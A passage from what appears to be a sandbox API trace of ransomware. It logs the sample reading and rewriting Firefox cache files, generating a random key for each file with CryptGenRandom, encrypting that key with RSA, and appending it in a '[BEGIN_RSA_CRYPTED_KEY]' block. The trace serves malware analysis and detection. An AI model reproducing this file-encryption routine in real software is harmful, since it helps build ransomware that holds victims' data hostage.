lpNumberOfBytesRead=0x2e3f9b4*=0xb99, lpOverlapped=0x0) returned 1 [0257.186] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-2969, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.186] WriteFile (in: hFile=0x1b84, lpBuffer=0x344abf8*, nNumberOfBytesToWrite=0xb99, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344abf8*, lpNumberOfBytesWritten=0x2e3f9b4*=0xb99, lpOverlapped=0x0) returned 1 [0257.187] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xb99 [0257.187] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.187] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.188] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0257.188] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0257.188] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0257.188] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="eiL5haaJNRlejW14gw83W7uKIA5n53kYKSmT3UjA9ato1NbdYAd/MokHgkFIz/T/\nvA0WxnreeeRwPKvpBBgzr91bonn9kbQn2F174jDO529HSqaEo5ESKU7NYRfIT+B0\ncNwgJETnLhtNdN47Xts5x5gIJgDVzP9eDzCQdwAXlbda0zpuC1kGAUTskC+1g4/i\nJKMkSKeWAjbfBY+MDUmb10B5mmmBAmAWon2yeMAZv2m7J3EirWkswB6/L0OhEJhf\nsAhST7Eif0KAiCOpFn/x7Nvck6y5ekjWS4rGB5jnti0HCN+J8qTaOkvnhyuysXla\niaycM27fTtoI5dJl+9j1Ew==\n", pcchString=0x2e3f9a8) returned 1 [0257.188] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0257.188] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.188] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.188] CloseHandle (hObject=0x1b84) returned 1 [0257.190] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0257.190] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\BAD48B4A98F040CB709A10AB911B7F5951B80382", dwFileAttributes=0x80) returned 1 [0257.190] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0x20df, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0x20df, lpOverlapped=0x0) returned 1 [0257.200] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-8415, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.200] WriteFile (in: hFile=0x1b84, lpBuffer=0x344c138*, nNumberOfBytesToWrite=0x20df, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344c138*, lpNumberOfBytesWritten=0x2e3f9b4*=0x20df, lpOverlapped=0x0) returned 1 [0257.200] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x20df [0257.200] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.200] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.201] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0257.201] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0257.201] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0257.201] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="MCzcjxO896AZbm8hitBEO5M7eRBoQ6ie9vmwnQEG4piqE+ZSnYGRlcY0iN5G+7ua\nsBvw4B8KxOlB64ksWYocBJuv4xW8tmvfUQhu9miwUZBMS2n8z9TUnL6ltXN0QB09\nLufCsx2F+fAcUZ4St4oXYeCGQMMdBNwPiaqP4DIWM2r0v9c9OlVoX6t56BAvRK3v\njQyLCVQtDx9tGBswI8IiHHDeYNXHMmSCmp94BdCsQ7LnNnniFFBbUbXICQWcBrXX\nGmdq/O7u416q/d9XB5TxT5J+svj1VhD/X/KgyY0pHDPDqr9j6VNFtob06VLD4Dov\nkNxsttNdsfprMcwi+vHfng==\n", pcchString=0x2e3f9a8) returned 1 [0257.201] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0257.201] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.201] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.202] CloseHandle (hObject=0x1b84) returned 1 [0257.203] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0257.203] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\BA90A3EEAB5FC25FB5148522091B7322A939B787", dwFileAttributes=0x80) returned 1 [0257.203] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0xabf, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0xabf, lpOverlapped=0x0) returned 1 [0257.204] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-2751, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.204] WriteFile (in: hFile=0x1b84, lpBuffer=0x344ab18*, nNumberOfBytesToWrite=0xabf, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344ab18*, lpNumberOfBytesWritten=0x2e3f9b4*=0xabf, lpOverlapped=0x0) returned 1 [0257.205] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xabf [0257.205] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.205] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.205] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0257.205] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0257.206] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0257.206] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="M+i1vDzLtIgOiYviVXO0R89fYkpYVfg6Y5zGdke782DqhnwBucjO5RU0F8RfEBeF\nh3tPntbtiarvuplzdAMHa+tiC26udrXhw8Lm1MTrRLXjNR1oeIn4vYCcVRMQ3ahb\n8pGWloxyo68lcw28YI3GY0PHURbGZR6/w9pdQr4EnkCYxiLLw8J9MVWnm6GJ1qdM\nh54M0z1LYHbsJtKK6cxeC4+ZFbU4oMpPtZ8L87oxntO/hwDOhe/vydpiafIhqkS4\nkNE2ZQ1cndKn78d0A6477jM/NYv6zRBkgY9jRmJ3RjPUHz7BihddGKn8RSDs1yiw\nNev1Pue4bSN5CYlSjiJwYw==\n", pcchString=0x2e3f9a8) returned 1 [0257.206] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0257.206] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.206] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.206] CloseHandle (hObject=0x1b84) returned 1 [0257.208] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0257.208] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B9DE43EAF8329D78C093EF485587817B97E8DC7B", dwFileAttributes=0x80) returned 1 [0257.208] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0x113c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0x113c, lpOverlapped=0x0) returned 1 [0257.223] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4412, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.223] WriteFile (in: hFile=0x1b84, lpBuffer=0x344b198*, nNumberOfBytesToWrite=0x113c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344b198*, lpNumberOfBytesWritten=0x2e3f9b4*=0x113c, lpOverlapped=0x0) returned 1 [0257.224] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x113c [0257.224] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.224] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.225] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0257.225] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0257.225] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0257.225] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="2R8W5dY1ajb77Lcs7TEaTTvQgYIww6U0A357d9wGKpTaymMCz0pttwbNGzBEbEgo\nkLk0uu7wMOcJk8Q6eko4ccmSLaoff+wJZSqmKUxUprqcoIdKpyI9WKJZIjCvM+Z0\nkAg/dm/I/OydDTryW6KXQxKNInrxcj6UvniMII+mi4R4dQpliTW2E5qDMFneQUvt\nomvHkTxhEKlfQF5coJIP0aXBqtoJtOGMgVUuiiQRgz1pV3dS9oy4Ja2a5pBK/DCI\nje7gwWOTT6Y2m6WoMFQjXAeGm5KWFxK2J+KQfhPEPzSrsSPQvBebNMVSAcWtUAms\nnU+U4++OQ/5R2bunBtPJuQ==\n", pcchString=0x2e3f9a8) returned 1 [0257.225] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0257.225] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.225] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.226] CloseHandle (hObject=0x1b84) returned 1 [0257.228] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0257.228] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B95D081B72EDFF97168410B49B9BF40A2F2A7751", dwFileAttributes=0x80) returned 1 [0257.228] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0xf8a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0xf8a, lpOverlapped=0x0) returned 1 [0257.257] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3978, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.257] WriteFile (in: hFile=0x1b84, lpBuffer=0x344afe8*, nNumberOfBytesToWrite=0xf8a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344afe8*, lpNumberOfBytesWritten=0x2e3f9b4*=0xf8a, lpOverlapped=0x0) returned 1 [0257.258] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xf8a [0257.258] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.258] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.259] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0257.259] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0257.259] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0257.259] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="OXrD25OC6GbzBKosQULbpZ8THVSRNK4xHWCawQK13mFiwWoT+UeHtqnMi4ZMiEVT\nS0woq4vAOnmbW9oPxhJR26zICsTlFysNKYI9V47pl7m5Er0ARQN4/mV3S8ljQDos\nwVJAJTu+5PgFR7uYLVc6f26fDbO4p8XLYH4SOMlQ5UbyxyHLG1+KYZuVqRviX6i8\nYLtKN/rRwM3u/WHP5baB2UuEanOb46ahMscV8BC7I+F48TxxKBsJn4C0tCWoMMbv\nvrGAEbBgQSusH/Av9kaGEAP22AYZos8dFSAweThGciiCMNGlsOt6QSOW5xabbNDx\nzUbH6LsS/3DdVcg+GJwEJw==\n", pcchString=0x2e3f9a8) returned 1 [0257.259] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0257.260] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.260] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.261] CloseHandle (hObject=0x1b84) returned 1 [0257.262] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0257.263] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B90CC5F0B9E25885ADD0082E4B8471A6B94024E5", dwFileAttributes=0x80) returned 1 [0257.263] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0xefd, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0xefd, lpOverlapped=0x0) returned 1 [0257.355] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3837, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.355] WriteFile (in: hFile=0x1b84, lpBuffer=0x344af58*, nNumberOfBytesToWrite=0xefd, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344af58*, lpNumberOfBytesWritten=0x2e3f9b4*=0xefd, lpOverlapped=0x0) returned 1 [0257.356] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xefd [0257.356] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.356] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.356] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0257.356] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0257.357] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0257.357] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="i3YpCdMRGlx7X7AKXfqfDhf75eSBN79oK0QyRpY8/v+7HiKOVhZJ8uva2OGw2j9N\nxzIAFz34HA4ho3Ply1+Rwq0kR8+D9I+wxrh4zrtcTEzdUNtQEvP44njEK7csBaHF\nklZw4gLJPdkaD8c02eqbdhj87l/7TuErDy9T7MKQQgHPhavnu166aatDQ0EqHyBy\nxLyrLQQVxtPzJA6/gmIn70TEnbAySnSxZLkL7TpGX+b3XP3FvnA+5sD9EPnqi2J7\nY3m/sGNAxxQUldLuwtbuJlpmsSD7D4IBpcWMmux9J0BkjlRDfivUIXhtaq9tCozi\n7d9VWbU1eYp9BL4Jnz0sJw==\n", pcchString=0x2e3f9a8) returned 1 [0257.357] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0257.357] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.357] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.357] CloseHandle (hObject=0x1b84) returned 1 [0257.442] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0257.442] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B90A15D9FAA6AD4EB5CB437EEADA87761E0746DB", dwFileAttributes=0x80) returned 1 [0257.443] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0x113e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0x113e, lpOverlapped=0x0) returned 1 [0257.463] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4414, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.463] WriteFile (in: hFile=0x1b84, lpBuffer=0x344b198*, nNumberOfBytesToWrite=0x113e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344b198*, lpNumberOfBytesWritten=0x2e3f9b4*=0x113e, lpOverlapped=0x0) returned 1 [0257.464] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x113e [0257.464] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.464] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.465] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0257.465] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0257.465] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0257.465] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="V3kBjOdY8KitdJhqp/w7PkEqTsWG6Bsf/klfTWpHVEYsxKnNQ6ZN+IHMyr+8Vngn\n4YxugQvDkqZy8Vqw7CdG2dlZNsoQiYzx0nbcF3xgOqLXuFGbx8ErE3KSILcfITGw\nB+pTN703vHzC659H2Y3j3/vc1GywwI+hQ1oyTEu9TQ4z3Zr4/W6ogn7EIYZXcnS8\nU15eRI2OgZqrsfQqsbzJEmoK5W1cgQ2KXSd2gO27pKX4AcvGUHk1XCY9zVRj+Ojo\nsCRQtqv5X9OXz7CEOsedg7A41NHkv6U34qPfKhGNZLD5oBN95HLs38lrMTjoV//2\nR9zlggTs0DsuSH5fYEnASg==\n", pcchString=0x2e3f9a8) returned 1 [0257.465] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0257.465] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.465] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.465] CloseHandle (hObject=0x1b84) returned 1 [0257.467] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0257.467] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B8D9A576298DCD2595490BC00055EE14D079ED57", dwFileAttributes=0x80) returned 1 [0257.467] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x52a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x52a, lpOverlapped=0x0) returned 1 